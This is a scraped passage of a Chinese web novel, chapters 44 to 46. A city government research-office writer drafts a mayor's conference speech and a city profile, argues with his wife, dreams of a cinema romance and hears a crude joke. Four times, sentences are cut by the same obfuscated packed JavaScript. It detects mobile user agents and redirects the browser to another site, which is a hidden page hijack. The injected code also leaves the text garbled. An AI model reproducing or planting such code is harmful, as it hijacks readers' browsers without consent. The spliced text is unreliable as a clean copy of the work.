应用性。调查研究不同于理论研究，也有别于工作部署，是理论与实践相结合的对策性应用研究，强调“研以致用”。对策建议务必做到符合实际，思路清晰，措施可行，不能笼统含糊，空发议论，没有任何实际用处，不然就只有束之高阁。 我认为，正确把握政府研究室调查研究的主要特点，需要处理好四个关系： 要处理好上和下、本本与实际的关系。调查研究一方面要运用理论、把握政策、领会意图；一方面要不唯书、不唯上、只唯实。调查研究没有正确的理论指导，就会偏离方向；不运用前人的优秀成果，就会多走弯路；不掌握政策，不熟悉政策，不吃透政策，对策建议就会缺乏依据，难以实施；不同领导思路合拍，急领导所急、谋领导所谋，就可能做无用功。同时，又要坚持实事求是，理论与实际相结合，反映……，重视……，敢讲真话，敢进逆言。 要处理好调查与研究的关系。调查是下深水、摸实情，研究是出思路、寻规律。调查研究中，存在着搜集素材，不应用素材；堆砌材料，不分析材料；只调查不研究或者只研究不调查的现象，这是不负责任或者说水平不高的表现。我们既要深入调查，掌握大量第一手素材，又要潜心研究，运用……立场、观点、和方法，认真的比较研究、分析综合，把定量与定性结合起来，去粗取精，去伪存真，由此及彼，由表及里，透过现象看本质，把握事物的发展规律。 要处理好当前与长远的关系。调查研究要总结过去，立足当前，谋划长远。调查研究不是强调时效性，就不讲前瞻性，而是要把二者有机结合起来。一方面，调查研究要把握决策需求，把握当前的政府中心工作，把握当前群众关注的热点，忙在点子上，谋在关键处，有的放矢。一方面又要适度超前，具有战略眼光，放宽视野，预见潮流所在和大势所趋，看到带倾向性、苗头性的问题，及时开展研究，适时拿出对策。 要处理好写好报告与解决实际问题的关系。写好调查报告非常重要，往往能充分体现调查研究的水平和质量的高低。但调查研究并不是单纯为了写好一篇报告，其目的主要是为了切实解决实际问题。那种从调查开始就围绕如何能写好自圆其说的报告的做法不可取，往往导致以自己的兴趣来取舍群众意见，拿着事先设想好的一套去找例证。这容易使调研“失实”，对策“失灵。”调查研究必须要坚持实事求是，坚持理论与实践的统一，既要掌握材料，写好报告，又要发现问题，解决问题。 根据调查研究工作的主要特点，我认为，新形势下们政府研究室调查研究工作的重点应确定为：坚持服务政府工作中心、服务发展大局、服务基层、服务群众，围绕各地政府提出的目标和思路选题进行调查研究。具体而言，在落实科学发展观的实践中，要开展如何推进新型工业化；培育壮大特色经济，加快区域经济发展；改善生态环境；项目推动发展战略等重要课题的调查研究。在构建和谐社会的进程中，要开展如何缩小城乡差别，构建和谐社会；打造平安社会；关心群众生产生活，建立解困机制；推进医疗保障体系；理顺城区城管体制等重要课题的调查研究。另外，各地政府工作报告中强调的，就是政府领导关注的，也要作为研究室调查研究的重点。 三、要求真务实，提高调查研究工作水平 政府研究室的调查研究要求深、求真、求实。“求深”就是要求我们深入到经济社会的相关领域、各个层面，深入到不同地域、不同单位、不同群体，深入到问题所在地和矛盾症结处，多渠道了解真实情况，多角度分析问题，多层面认识事物，把握事物的本质。“求真”就是要求我们坚持实事求是，求真务实。既要看好的，也要看差的；既要报喜，也要报忧；既要总结经验，也要反映教训。对了解到的真实情况，要敢于“较真”，不粉饰太平，不掩盖矛盾，不怕得罪人，有一说一，有二说二，既使调查研究的结果同领导愿望不一致，调查研究的结论同领导的观点相悖，也要敢于并善于反映真实情况，表达真实观点。“求实”就是要求我们说老实话，办老实事，做老实人，尊重客观事实，从实际出发，不因个人好恶取舍增删，不因领导偏爱挑三拣四，不因关系好坏报喜瞒忧。提出的对策建议要符合当地实际，能解决实际问题，经得起实践检验。 调查研究要尊重群众意见。推进改革，促进发展，保持稳定，办法在实践中，点子在… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290355|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …中，“从……中来，到……中去”。……社会实践，是我们获得正确认识的不竭源泉，也是检验和深化认识的根本所在。调查研究的质量如何，形成的意见正确与否，最终都要由……实践来检验。因此，搞好调查研究，必须眼睛向下，放下架子、扑下身子，深入田间地头和厂矿车间，认……为师，和……交友，与……交心，同……讨论大家关心的问题，感受他们的疾苦，反映他们的呼声，集中他们的智慧，总结他们的经验。既要了解……盼什么，也要了解……怨什么；既要听……的赞扬话，也要听……的批评语；既要让……反映情况，也要请提出意见。对……最盼、最急、最忧、最怨的热点、难点问题，更要主动调研，抓住不放。只有这样，才能听到实话，摸到实情，获得真知，收到实效。 调查研究要大胆创新。墨守成规很难大有作为，大胆创新才能生机勃勃，调查研究也是如此。搞好调查研究，首先要观念创新，要解放思想，摒弃陈旧观念，力求用新眼光看待新问题，用新思维确定新思路，用新理念提出新对策。其次要创新工作方法。一方面，我们要坚持开调查会、走访调查、典型调查等以往积累的行之有效的调查研究方法。一方面，我们要适应新变化，运用新知识，采用新手段，不断创新调研方式。要积极使用统计调查、问卷调查、网络调查等现代方法，提高调查的效率和质量；充分利用现代信息技术和手段搜集、整理和加工资料；综合运用经济学、社会学、信息论、系统论、控制论知识以及规划与优选，预测与评价等方法，对掌握的素材进行系统研究。把传统调研方法与现代调研手段结合起来，增强调查研究的科学性和时效性，提高调查研究的效率和质量。 调查研究要写好报告，注重成果转化。前期的调查与研究是基础性工作，写好调研报告才能全面系统深刻地反映调研成果，才能促进调研成果的转化。否则就达不到预期目标，甚至前功尽弃。调研报告是一种特殊文体，在座的都是这方面的行家里手。我认为，写好调研报告应注意以下几个问题：一是主题要鲜明，重点要突出，善于画龙点睛，给人以启迪。二是内容要充实，资料要翔实，结构要严谨，条理要分明，布局要合理。三是表述要准确，文笔要生动，不要堆砌词藻，过于雕饰，追求华丽；也不要过于平淡，官话套话连篇。四是形式要多样，切忌公式化、概念化，千人一面，“八股”陈腐。五是提倡写短文章，力求短小精悍，言简意赅，意到言到，意尽言止，千万不要冗长乏味，动辄洋洋万言，自己看了烦，领导看了厌。高质量的调研报告是有效转化的前提和基础。调研成果的转化，一是要畅通渠道，要采取多种方式反映、报送调研成果，要积极主动地向领导汇报调研成果的价值所在；二是要丰富转化形式，既可以直接为领导决策提供依据，也可以为领导讲话、文件起草提供素材。当然，最重要的还是要建立科学决策、民主决策的机制，从制度层面规范调研成果的转化。 44. 第 44 章 第四十四章讲稿大改 今天就说这些，不对的地方，请各位领导和同志们指正。 最后，预祝全省市州政府研究室主任会议取得圆满成功！祝同志们、朋友们在滨期间工作顺利、生活愉快！ 谢谢大家!” …… 达恩豪这几天搞写领导讲话，思想负担重，工作压历山大，眼睛也不舒服，又酸又胀又痛，还痒痒，还干涩，脑袋也生愣发痛，还发胀。还好，今天材料终于弄出来了，先交了差再说，绷得太紧了，松驰一下才好。 下午下班，回家吃过晚饭，看完了电视，心情比较放松，躺在床上就开始迷糊，入睡很快，不久就睡着了…… 这老实人小伙儿和这服务员美女，在小县城的电影院里相约。一个浓眉大眼，皮肤白净，好似奶油小生，一个长眉细眼，一头又浓又黑稍稍天然卷发，身材丰满得有点微胖，好似唐朝仕女，别人看见了还是挺般配的。 不时从周边的座位上，投来一眼两眼，异样的眼神，那里面夹杂了许多复杂的意思，这小伙儿感觉到了，其中就有羡慕嫉妒恨的目光。 这美女依偎在这小伙儿的肩膀上，也不理睬周边是射来的如明枪暗箭般的光弹，还是打来的现代化的激光武器，尽情享受这幸福的时光，这甜蜜的分分秒秒！ 还好，这里有原声全色的电影为他和她幸福的依偎，打了有声有色的掩护，而小伙儿与这美女的甜蜜的牵手抚摸，黑夜和灭灯为俩青年异性的情和爱，保驾护航！ 幸福的时刻，这对年轻男女把美轮美奂的电影作了配角，甜蜜的每分每秒，热恋中的一双情人，把放影厅里的坐着的人们当了陪衬。 今夜的主角，注定是爱情，注定是幸福，注定是甜蜜，今晚的中心，注定是这一双青年男女浓情蜜意，这一对年轻异性的卿卿我我！ 幸福的时光总是短暂的，甜蜜的分分秒秒令人难忘！电影演完了，浓情蜜意摁上了暂停键，完场的电灯大亮了，一双异性年轻人的卿卿我我中断了！ 这小伙儿和这美女，俩个人的头都离开了对方的肩膀，香肩离开了大肩，大肩也和香肩分离。俩个青年人，坐直了身子，女的下意识，抬手轻轻理一理秀发，男的也下意识地抖一抖身上的衣袖！ 刚刚的幸福随着电影的结束，已不见了踪影，先前的甜蜜，随着灯光大白，已烟消云散。美好的光阴，已不知远走了哪里！ 这美女和这小伙儿，坐在座位上岿然不动，是坐着等其他人们先走，怕被熟人碰上，不好应付，好跟在人群的最后面走出这电影院。 不是的，他们是坐在哪儿回味刚刚幸福的时刻，是坐在哪儿咀嚼甜蜜的分分秒秒！这小伙儿闻到这美女的体香，犹在鼻腔偿存！这美女嗅见这小伙儿的阳刚气息，久久不忘！ 然而，肯定的是，今晚的这场电影，让位给了这对青年男女的情意绵绵！因为，这双年轻异性只记得了那一夜的情与爱，连这场电影的故事梗概也不曾记得，不能说上来啊！ …… “常市长在全省研究室主任会议上的讲话稿，初稿我看了，写得不错，又实在又全面，我深入地思考了一下，我感觉还是要往上面的新战略新思路上靠，这样才能紧跟新形势，达处长，你按我说的意思再修改下，今天是星期二，星期四给我。” “好的。”达恩豪接受了新任务，回到经济发展研究处房间，走到自己的办公桌后面，坐到椅子上，思考回味了半天，在电脑上忙乎起来，又加班加点地一干，花了三四天，又修改弄了一稿，并做了大幅度地变动，这材料共写了12页，大约有6200多字。 大体内容是这样的： “在全省市州政府研究室主任会议上的讲话 滨河市政府市长常…… （2007年……月……日） 尊敬的……， 各兄弟市州政府研究室的同志们、朋友们： 在滨河最美好的季节，我们迎来了2008年全省市州政府研究室主任会议的如期召开！这次会议在滨河举办，体现了省政府研究室和兄弟市州政府对滨河的关心和支持。这里，我谨代表……滨河市委、滨河市政府，对各位领导、同志们、朋友们的到来表示热烈的欢迎和诚挚的感谢！ 全省市州政府研究室主任会议为我们提供了一次难得的学习与交流的机会，首先，我想借此机会，就滨河市的基本情况和近几年改革开放所取得的成就向大家作一介绍，也希望大家在今后能够更加关心和支持滨河的发展。 滨河市现辖……城区大河奔流，两山夹峙，享有“丝路重镇”、“黄河明珠”、“山水名城”和“水车之都”的美誉。建国五十多年特别是改革开放以来，滨河经济和社会各项事业蓬勃发展，综合经济实力进入全国大中城市50强，成为黄河上游重要的经济中心、……经济带的重要支撑点和辐射源，为河陇和我国的现代化建设做出了重要贡献。 滨河是古丝绸之路的重镇。历史比较悠久，西汉时设立县治……隋初改置滨河总管府，始称滨河。汉唐以来，滨河作为控扼黄河天堑的重要古渡，以“屏障中原、联络西域、襟带万里”的地理区位优势，成为丝绸古道上的交通要津、军事要塞和商埠重镇，在沟通和促进……经济文化交流中发挥了重要作用。……1941年正式设市，为西北地区第二个设市的城市。 滨河是黄河上游的璀璨明珠。作为……“一五”、“二五”和“三线”时期重点开发建设的城市，滨河具有得天独厚的综合区位、富集的矿产水能资源、方便快捷的交通通信、辐射西部的市场集散和实力雄厚的科技人才等比较优势，是……西部重要的现代化中心城市，是国家重要的工业基地、西部交通通信枢纽、区域性商贸中心、科研教育基地和闻名全国的“瓜果城”，在西部大开发中发挥着支撑点和辐射源的作用。 滨河是蜚声中外的“山水城市”。地理位置处于……陆域版图的几何中心，有“陆都心脏”之说。……九曲黄河唯一穿城而过的省会城市，市区东西黄河中流，南北群山环抱，素有“黄河明珠”和“山水名城”的美誉。依河而建的百里黄河风情线，是全国最长的开放式公园。滨河水车作为古老的提水灌溉工具，见证了滨河沧桑巨变的历史进程，坐落在黄河之滨的滨河水车博览园，是世界水车文化丰富的主题公园，“水车之都”久负盛名。滨河“两山一水”的独特景观，使整个城市显得格外钟灵毓秀，充满生机和活力。 滨河是著名的文化旅游城市。古老的丝路文化、黄河文化和西北民族文化在这里集汇交融，呈现出丰富多彩的地域文化特色，留下了诸多名胜古迹。滨河有……黄河铁桥等诸多人文与自然景观，也是连接……丝绸之路大旅游区的中心，为……优秀旅游城市。滨河牛肉面等特色饮食享誉国内外。“文化滨河”建设成就斐然，相继推出了一批文化精品杰作，……被誉为20世纪华人舞蹈经典，《又见莫高》被评为国家十大舞台艺术精品工程剧目。滨河太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301042|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平鼓气势磅礴，享有“天下第一鼓”的美称。……杂志年销量超过1000万册，列全国和亚洲第一，居世界第四。 近年来，……按照“创业实干打硬仗，建设创业型城市”的工作部署，经济保持了持续、快速、健康发展，小康社会建设全面推进。滨河经济和社会发展取得了显著成效，国内生产总值在连续5年保持两位数增长的基础上，今年上半年全市实现生产总值…… 在新的历史发展时期，滨河将抢抓机遇，加快区域性现代化中心城市建设，经过今后五年或更长一个时期的努力，把滨河建设成为经济繁荣、社会文明、环境优雅、人民幸福、区位优势充分发挥、辐射带动能力逐步增强的区域性现代化中心城市。 下面，我重点就如何做好研究室的工作与大家交流一些认识和体会。 一、用正确的价值观看待研究室工作 价值观是人们对客观事物有无价值及其价值关系的根本观点。为什么这么讲，在有些人看来……这说明做研究室工作没有到位。价值观不同，人们的行为方向、态度、方式也不同。事业心、责任感、工作激情、工作作风也就不同，研究室作为政府的“参谋”和“左右手”，可以说是服务政府工作大局的宽阔舞台，是创造个人和社会价值有机结合的用武之地，具有不可替代的地位和的作用。没有一定的工作能力，工作水平是搞不好的。第一，研究室的工作体现人民群众的利益。研究室代表了广大人民群众的根本利益的基本职能是政务服务和事务服务，工作重点就是“四服务”：服务领导、服务基层、服务群众、服务中心。尽管不承担具体工作任务，但研究室无论是为各级领导机关服务，还是为经济社会发展服务，终极目的是为人民服务。从这个道理上讲，研究室工作的全部意义在于按照……的要求，千方百计维护好、发展好、实现好人民群众的根本利益。研究室的工作，归根结底就是为人民群众服务。第二，研究室的业绩关系……工作的业绩。总体上说，研究室的主要工作任务是四项：为……工作提供决策依据、推动决策贯彻实施落实、对工作运行中的一些问题进行协调、承担处理机关的一些日常事务。这些工作是参谋、是服务，是桥梁、是纽带，是促进、是保障，都直接关系到政府工作的决策、落实、创新、发展。如果参政设谋参到了点子上，就会增强决策的科学性；如果督促检查督到了关键处，就会增强工作的推行力；如果日常事务处理周密顺畅，就能使领导和各个科室（组室）更好地集中精力想大事、谋大事、抓大事，提高工作效率。研究室工作没搞好，就会后院起火，就形不成合力。政府工作的发展进步创新始终离不开研究室工作。第三，研究室的形象影响……部门的形象。形象是亲和力，是凝聚力，也是感召力。前两年，……部门认真开展和深化拓展了树……干部形象集中教育活动，为什么把“形象”作为教育活动的主题，因为形象问题关系……工作的生命，关系……部门和……干部的生存和发展。如果认为研究室工作不直接涉及干部的选拔任用和……的发展管理，就无碍……部门公道正派的整体形象，那就是一种狭隘的、局限的、片面的和孤立的认识方法。其实，……部门的形象在很大程度上是从研究室的形象上体现出来的。研究室是接近领导、服务领导比较多的部门，是……中枢和核心部门，是……这个部门的窗口和门面，是……群众经常面对和关注的对象。从某种程度上讲，大家的一举一动、一言一行都体现……部门的作风，反映……干部的形象。 45. 第 45 章 第四十五章新闻有理 正是因为研究室工作其有相当的重要性和一定的特殊性，要求我们从事研究室工作的同志不辱使命、不负重托，以高尚的品格、无私的精神、扎实的作风出色完成好工作任务。提三点希望：一是要爱岗敬业。要对所从事的工作要有一种敬重之心、敬畏之感、敬爱之情。俗话说：“干一行，爱一行，专一行”，只有热爱工作，才能干好工作。研究室干部要大力弘扬“老黄牛”精神，经得起浮华喧嚣的诱惑，耐得住冷凳孤灯的寂寞。全身心投入，兢兢业业，做好各项工作，要以甘于吃苦的态度做好服务工作，以无私寻求的精神追求人生价值，困难来了，走在前面；荣誉来了，站在后面。真正做到宠辱不惊，物利两忘。二是要严格自律。……面对五彩缤纷的世界，面对形形色色的诱惑，如果管不住自己，就可能出问题，损害自身的形象，丧失集体的形象。要注重自我检查，不能放松对自己的要求。非宁静无以致远，无大气难成大器。三是要团结和谐。研究室工作好比……工作这个大机器中的润滑剂，求团结、求和谐、求合作是工作中的重要内容。要注重吸取别人的经验，尊重别人的劳动，体贴别人的困难，争取别人的支持，相互信任、相互谅解、相互帮助、相互促进，增强……工作的整体效能。 二、用科学的能力观提高研究室工作水平 能力问题是一个时代命题，当今时代是综合竞争日趋激烈的时代，是一个靠能力生存、凭能力发展的时代。……明确了新要求，提升了新境界。就……部门的领导和干部而言，……政策运用能力、知人善任能力……业务能力、拒腐防变能力；……提出要提高把握方向、紧扣中心的能力，公道正派、忠诚履职的能力，执行政策、遵守程序的能力，识人选人、用人育人的能力，重在建设、加强基础的能力，善于协调、搞好服务的能力，保持本色、不被收买的能力。具体到从事研究室工作的同志来说，在符合……干部普遍性能力要求的基础上，从具体的工作职能和特点出发，还要注重提高以下四个方面的能力。 （一）调查研究的能力。主要是三种能力：了解情况的能力、分析问题的能力、解决问题的能力。调查研究是做好一切工作的基础，在新的形势下，保持清醒的头脑……离不开对复杂的社会环境进行调查研究；加强同人民群众的联系离不开对群众了解；更好地围绕经济建设中心开展……工作离不开对发展对……工作提出的新要求的把握。既要能发现问题，又要把握问题的本质。从时代发展和形势变化中发现……工作新的着力点和突破口，从……干部、群众的反映中发现……工作存在的问题和不足，从……的过程中发现矛盾和规律。既要发现个别性、特殊性、短期性问题，又要发现普遍性、根本性、长远性问题。既要能研究问题，又要能提出解决问题的对策。发现问题，是为了研究和解决，是为了进步和发展。提出切合实际、行之有效的办法、措施。当前要重点研究……要在这些方面加大研究力度。要围绕这些重点、难点、焦点问题深入调查研究。 （二）执行实施的能力。研究室承担着大量具体、细致、琐碎的工作。……服务无小事，任何小事都是大事；……还具有督查考核职能，除了自身的执行实施以外，还要督促、指导基层……工作的执行实施。因此，必须大力提高执行能力、办事能力、实践能力。执行实施，根本在制度。必须把制度作为一项长期性、根本性的工作来抓。要不断总结经验，认真查找漏洞，坚持把有效的办法上升为制度，把失误的教训转化为规章。要进一步完善和落实……工作督查制度、考核制度、奖惩制度、内部管理制度，努力使制度涵盖每一个小环节，减少执行实施的随意性、无序性和盲目性。执行实施，关键在创新。要善于把复杂的事情简单化，把平淡的事情做出新意，把细小的事情落实到位。执行实施，重点在服务。要增强服务意识，优化服务理念，提高服务水平，让领导满意、同事满意、基层满意。 （三）综合协调的能力。研究室属于……的综合部门，从事的工作不是局部的工作，是全局性工作，不是独立的工作、而是综合性工作，需要综合各方面的情况，协调各方面的力量，调动激发各方面的积极性、创造性。要有宽广的眼光、博大的胸怀。要着眼全局，无论是总结工作还是提出建议，都要站在……工作全局的高度，从……工作整体推进、全面发展的高度出发。要有清醒的头脑、辨证的思维。要突出重点，善于抓住新形势下……工作存在的突出问题、服务和服从……工作大局出发，群众反映的焦点、热点问题，需要解决的重点难点热点问题来作好参谋服务，抓好督查指导；要有诚恳的态度、虚心的精神。要整合力量……既要互相配合、各司其职，又要靠人格形象感染人、激发人、调动人。 （四）立言行文的能力。研究室有一项很重要的工作就是撰写文稿。文稿是主要产品、载体、衡量水平的依据。研究室写出来的文稿是思想和思路、是政策和对策、是方式和方法、是党情和民情，而不是个人闲性雅致的爱好、不是风花雪月的呻吟、不是自我情感心理的渲泄。文稿是办公室、研究室的主要“产品”，是参谋服务的基本载体，是衡量工作水平的重要标尺。文稿质量的高低，主要看有多少被领导认可，有多少得到……群众的赞成，有多少在实际工作中产生了效益。提高立言行文的能力，要求我们准确把握领导意图，凡是领导关心的工作都要尽量了解，凡是领导考虑的问题都要深入思考； ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311174|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求我们突出地方特点，把……工作的方针政策与本地本部门的实际结合起来，把文稿的主题主旨和群众的所思所想结合起来；要求我们力求精简明了，用简洁的语言表达深邃的思想，用短小的篇幅承载丰富的内涵。 三、用新型的用人观加强研究室干部队伍建设 政以才治，业以才兴。做好研究室工作，必须把干部队伍建设摆在突出位置，努力建设一支业务精湛、素质优良、作风过硬的研究室人才队伍。 （一）要确保研究室工作力量。研究室工作不可替代，要成为组织部门思想库、信息库、智囊库，因此要有充足的高素质人才保障。选配好负责人、配齐工作力量。按照研究室工作的客观要求、从事研究室工作既要能想大事，又要能干小事；既要本身能吃苦，又要善于团结和调动人；既要熟悉组织工作的各项业务，又要具有较强文字综合能力。组织部的部务会要高度重视研究室工作，特别是要选配好研究室工作力量，真正在研究室集聚一批善于调研、能写材料的“笔杆子”，一批善于协调、会搞管理的“大管家”。 （二）要提高研究室干部素质。……要加强业务技能培训，着力提高大家的参谋服务能力、文字综合能力、综合协调能力和专业技术服务能力。创造一切学习的机会和条件，要坚持发扬实事大是科学态度，要坚持发扬求真务实的工作作风。要加强学习能力建设。学习力是最核心的竞争力。要为干部学习提供必要的学习机会和条件，培养干部学习的意志、兴趣、毅力，努力形成浓厚的学习氛围。 （三）要关心研究室干部成长。人才是宝贵的财富，用好人才就是创造财富。用好研究室人才，一是留得住，二是流得动。一方面，研究室工作任务繁重，要求很高，工作比较辛苦，生活比较清苦。各地……部门的领导同志要热情关心办公室、研究室干部，多方爱护研究室干部，积极为大家办实事、解难事、做好事。要在政策允许的范围内，想方设法解决干部职工的实际困难。另一方面，研究室是人才相对集中的地方，也是培养人、造就人的地方。领导同志要经常给研究室干部出题目、交任务、压担子，使他们在实践中得到锻炼和提高。对那些德才兼备、群众公认的优秀干部，要创造条件、搭建平台，符合条件的要提拔到领导岗位上来，真正使研究室成为培养人才的之地。” …… 达恩豪下午下班回家，走在黄河大桥上也在想材料的事，和老婆黄爱佳一起坐着吃晚饭时，也在琢磨这个材料怎么才能写得更好更一点。 看电视新闻就不一样了。达恩豪看了河陇新闻，再看新闻联播，最后还把滨河新闻也调出来，也回看一遍。这样国家的，省上的，市级的新闻都就看全了。 46. 第 46 章 第四十六章修改市情 “你碰死到新闻上啊，新闻联播，河陇新闻，滨河新闻，新闻新闻新闻，看下了哪儿使哩？”老是这样看，老婆黄爱佳就不高兴了，长眉这么轻轻一挑，细眼努力睁大，这么一瞪，眼放亮光，对达恩豪口无遮拦气急败坏地这样发泄道，说完了再惋一眼睛自己的老公。 “听听，就是头发长见识短了不是。你不看电视上的新闻，你怎么能知道国内外的时事，国家的大政方针，你怎么能明白全省近期的大事，省上的发展部署，你怎么能清楚全市最近的发展情况，市上的政策措施？不掌握这些情况你怎么写材料？！……”达恩豪道格是写材料的高手，能写肯定是能说了，但能说不一定能写，想想还把个老婆说服不了，并不是治不了，一看发作的机会来了，就两眼圆睁，瞪着老婆黄爱佳，得理不让人，虽然说得有些道理，但却又是反问又是质问，直来直去的不讲策略，不给人面子，不依不饶起来了，只自顾自，在那儿口若悬河，滔滔不绝地这样说道。 “烦死了，我不听了，打住打住，好了。”老婆黄爱佳嫌弃自己的老公达恩豪话口脾气不好，不是，是嫌达恩豪历来说话都是这样的，直来直去，口气太冲，话气太硬了，说话不会拐弯抹角，不会口蜜腹剑。嫌他说话嗓门太大了，声音太高了，讲话不给人留情面，向理不顾人不防人。 老婆黄爱佳心里想，自家养的狗，有什么毛病，还不知道，自己心里清楚得很！达恩豪霸屏看新闻，甚至是追他爱看的战争片子，老婆黄爱佳也习惯了，懒得和他计较，不是都说“家和万事兴”吗，“退一步海阔天空”啊。 达恩豪追完了电视剧，躺在床上，又职业病犯了，想着如何写手头这个材料，怎么修改会更加完美一些，甚至于他都突然灵光乍现，想到了那一句话，不能这样写，应该那样写才更好了一点，反复记了几遍，明天上班了，乘还没有忘记，赶紧打开电脑文档，如此这般地修改一下…… 其实，每次达恩豪都在不写材料时，想好了要修改的地方和如何修改，但都没能成功。因为每次他不写材料时想好的修改材料的事情，真正到了打开电脑文档时，立刻傻眼了，死活也想不起来了，真是愁死个人了……朦朦胧胧地，不知不觉见进入了梦乡之中…… 这小伙儿想和这美女，等其他观影的人，全都出了这宽大的放影厅场了，他们俩个人再走，想在自己的座位上坐等一小会儿。但这样的情况是不允许的，因为影院清场的人来了，催促劝说你抓紧时间退场，人不好意思再待再坐再等。还有空场中间，需要粗略打扫一下环境卫生，搞保洁的阿姨，提着长扫把和长柄铁箥箕，也快走过来到他们俩面前了。 …… “最近国家部委，省上相关单位，要来我们滨河，检查指导工作，还有外地外省市州的研究室，经研中心，也会来我们单位，参观考察。达处长，你抓紧时间，弄个滨河市情简介。”第二天上班时间，主任办公室打来了电话，达恩豪一接听，是金学盛打来的，说让他现在就过去一下，达恩豪到金学盛办公室里，领导这样对他说道。 “好的，金主任。”达恩豪不是爱写材料，而是材料来了，你躲是躲不过去的，领导安排布置的工作，既然都砸给你了，你能推辞掉，你能不干，也许主任早就想好了理由等你，最好是不要自找没趣了，就十分爽快地对金学盛这样回答道。 达恩豪从领导办公室令命出来，回到了经济发展研究处房间，走过去坐到了自己的座椅上，爬到电脑上开始忙乎，找出前几年写得的滨河市情作参考，找滨河政府官网的首页宣传稿，上滨河市统计局的官网，上滨河市发改委的官网，找去年底的各方面的主要数据。 第二天，在单位上班时间，达恩豪写材料的人，和其他坐在电脑前的人一个样儿，和电脑上看电影和电视剧的同事一样，和不事干上网浏览新闻的同事一样，都是盯着电脑发呆，盯着屏幕用功，没什么大的不同。 最不及的是你正忙活的要死，他却没有事，闲得要死，来和你闲聊扯淡，你还得心急如焚地陪着应付他，同事也是万万不能轻易得罪的，否则会有大麻烦，有你吃得苦头，贻害无穷的。 干活写材料，也只能是乘同事们不注意，偷着干，悄悄地搞，开枪的不要，如果正常上班还干不完，就加班加点干，同事还干扰不了，就是累点，亏点而矣。 今天，隔壁的大腮帮子巴其平，没事干，过来和达恩豪宣观闲聊，看达恩豪盯着电脑，就站着这样有点不好意思地说道：“达处长你写正材料呀？忙这里，哪我走了。”巴其平说完了就准备要转身出门走人。 “没有没有，看新闻，请坐。给巴大处长倒杯茶喝？！”达恩豪赶紧盯着巴其平，陪上个笑脸儿，又是否定，又是接待地，进屋的面前人这样说道。 “不倒不倒，办公室我泡好了，有了。”巴其平走两步，一边转身坐到旁靠墙壁的三人沙发上，一边对达恩豪这样回答道。 “达处长，最近滨河流传着一个段子听过没有？”两个人寒暄了两句后，大腮帮子巴其平突然话峰这么一转，看着达恩豪这样问道。 “什么段子？没听过，你讲一下？”达恩豪听得黄段子也不少，多听一个也不多，何况男人吗，大多都爱听爱说黄段子，就对巴其平又是要求又是反问的这样说道。 “说滨河有一对羊夫妻，这几天不知道啥原因，公羊晚上要求和母羊□□好几次，母羊受不了了，对公羊疑惑不解且愤愤不平地抱怨道，你疯了，公羊陪着笑脸对母羊惊恐绝望且破罐子破摔地解释道，滨河人最爱吃羊了，什么手抓羊肉啊，黄焖羊肉啊，爆炒羊肉，据不完全统计，每天都屠宰吃掉1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323698|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 000多只羊，10天一周半不到就吃掉1万只，天哪！说不定那一天我们就做了他们的盘中餐，所以我们要抓紧活羊呢！”巴其平举手向上推一下眼镜腿儿，绷着脸先不笑，对达恩豪这样讲述一番道。 “哈哈哈哈！你真幽默风趣，好故事，莫不是你编的，笑死我了！”达恩豪听完了，先是放声地大笑，然后笑容不减地对大腮帮子巴其平这样说道。 达恩豪笑够了，巴其平也送走了，又恢复写材料状态。又加班加点，忙碌了两三天，这份材料就弄出来了。共写了4页2000多字。他记得，大体内容如下： “黄河上游的明珠西部开发的热土 ——滨河市情简介 滨河是河陇省省会，在大西北处于“座中四联”的位置。建国五十多年特别是改革开放以来，滨河经济和社会各项事业蓬勃发展，综合经济实力进入全国大中城市50强，成为黄河上游重要的经济中心，……经济带的重要支撑点和辐射源，为河陇和我国的现代化建设做出了重要贡献。 